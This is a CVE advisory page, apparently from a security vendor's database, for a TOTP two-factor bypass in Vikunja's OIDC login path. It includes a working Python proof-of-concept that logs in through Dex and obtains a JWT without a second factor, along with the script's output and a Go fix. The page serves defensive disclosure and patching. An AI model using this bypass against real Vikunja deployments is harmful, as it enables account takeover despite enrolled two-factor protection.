Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-34727 api

HIGHFix: go-vikunja/vikunja#2582

CVE-2026-34727 is a high-severity (CVSS 7.4) Improper Authentication vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.

Vikunja ahs a TOTP Two-Factor Authentication Bypass via OIDC Login Path

Also known asGHSA-8jvc-mcx6-r4cgGO-2026-5258
Published
Apr 10, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34727.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs21th percentile — riskier than 21% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-34727 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹code.vikunja.io/api

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.

Details

The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:

return auth.NewUserAuthTokenResponse(u, c, false)

There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:

totpEnabled, err := user2.TOTPEnabledForUser(s, user)
if totpEnabled {
    if u.TOTPPasscode == "" {
        _ = s.Rollback()
        return user2.ErrInvalidTOTPPasscode{}
    }
    _, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{
        User:     user,
        Passcode: u.TOTPPasscode,
    })

When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.

Proof of Concept

Tested on Vikunja v2.2.2 with Dex as the OIDC provider.

Setup:

  • Vikunja configured with emailfallback: true for Dex
  • Local user alice (id=1) has TOTP enabled
import requests, re, html
from urllib.parse import parse_qs, urlparse

TARGET = "http://localhost:3456"
DEX = "http://localhost:5556"
API = f"{TARGET}/api/v1"

# verify TOTP is required for local login
r = requests.post(f"{API}/login",
    json={"username": "alice", "password": "Alice1234!"})
print(f"Local login without TOTP: {r.status_code} code={r.json().get('code')}")
# Output: 412 code=1017 (TOTP required)

# login via OIDC (same flow as VIK-020 PoC)
s = requests.Session()
r = s.get(f"{DEX}/dex/auth?client_id=vikunja"
          f"&redirect_uri={TARGET}/auth/openid/dex"
          f"&response_type=code&scope=openid+profile+email&state=x")
action = html.unescape(re.search(r'action="([^"]*)"', r.text).group(1))
if not action.startswith("http"): action = DEX + action
r = s.post(action, data={"login": "[email protected]", "password": "password"},
           allow_redirects=False)
approval_url = DEX + r.headers["Location"]
r = s.get(approval_url)
req = re.search(r'name="req" value="([^"]*)"', r.text).group(1)
r = s.post(approval_url, data={"req": req, "approval": "approve"},
           allow_redirects=False)
code = parse_qs(urlparse(r.headers["Location"]).query)["code"][0]

resp = requests.post(f"{API}/auth/openid/dex/callback",
    json={"code": code, "redirect_url": f"{TARGET}/auth/openid/dex"})
print(f"OIDC login: {resp.status_code}")

user = requests.get(f"{API}/user",
    headers={"Authorization": f"Bearer {resp.json()['token']}"}).json()
print(f"User: id={user['id']} username={user['username']}")
# TOTP was completely bypassed

Output:

Local login without TOTP: 412 code=1017
OIDC login: 200
User: id=1 username=alice

Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.

Impact

When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.

This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing email_verified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.

Recommended Fix

Add a TOTP check in the OIDC callback before issuing the JWT:

totpEnabled, err := user.TOTPEnabledForUser(s, u)
if err != nil {
    _ = s.Rollback()
    return err
}
if totpEnabled {
    _ = s.Rollback()
    return echo.NewHTTPError(http.StatusForbidden,
        "TOTP verification required. Please use the local login endpoint.")
}
return auth.NewUserAuthTokenResponse(u, c, false)

Found and reported by aisafe.io

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.vikunja.io/apiall versions2.3.0go get code.vikunja.io/api@v2.3.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update code.vikunja.io/api to 2.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34727 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34727 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-34727. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. ## Details The OIDC callback at `pkg/modules/auth/openid/openid.go:185` issues a JWT directly after user lookup: ```go return auth.NewUserAuthTokenResponse(u, c, false) ``` There are zero references to TOTP in the entire `pkg/modules/auth/openid/` directory. By contrast, the local login handler at `pkg/routes/api/v1/lo
O3 Security · Impact-Aware SCA

Is CVE-2026-34727 in your dependencies?

O3 Security finds CVE-2026-34727 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-34727: api (High 7.4) | O3 Security